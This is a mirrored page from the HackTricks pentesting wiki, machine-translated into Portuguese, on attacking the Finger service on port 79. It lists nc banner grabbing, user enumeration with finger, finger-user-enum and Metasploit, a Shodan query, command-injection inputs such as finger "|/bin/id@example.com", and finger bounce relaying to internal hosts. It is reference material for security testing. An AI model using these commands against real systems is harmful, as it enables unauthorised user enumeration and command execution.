Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 05:33:33 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-finger.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

3.7 KiB
Raw Blame History

Informações Básicas

O Finger é um programa que você pode usar para encontrar informações sobre usuários de computador. Geralmente, ele lista o nome de login, o nome completo e possivelmente outros detalhes sobre o usuário que você está consultando. Esses detalhes podem incluir a localização do escritório e o número de telefone (se conhecido), tempo de login, tempo ocioso, hora em que o e-mail foi lido pela última vez e os arquivos de plano e projeto do usuário.

Porta padrão: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeração

Banner Grabbing/Conexão básica

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79

Enumeração de usuários

A enumeração de usuários é uma técnica usada para obter informações sobre os usuários de um sistema. O comando finger pode ser usado para obter informações sobre os usuários em um sistema remoto. O comando finger pode ser usado para obter informações como nome de usuário, diretório inicial, último login, entre outras informações. Essas informações podem ser usadas para realizar ataques de força bruta ou ataques de phishing. É importante que os administradores de sistemas restrinjam o acesso ao comando finger para evitar a enumeração de usuários.

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user

Alternativamente, você pode usar o finger-user-enum do pentestmonkey, alguns exemplos:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt

Nmap executar um script para fazer uso de scripts padrão

Metasploit usa mais truques do que o Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Execução de Comandos

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

Finger Bounce

Utilize um sistema como um relé de finger

finger user@host@victim
finger @internal@external
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥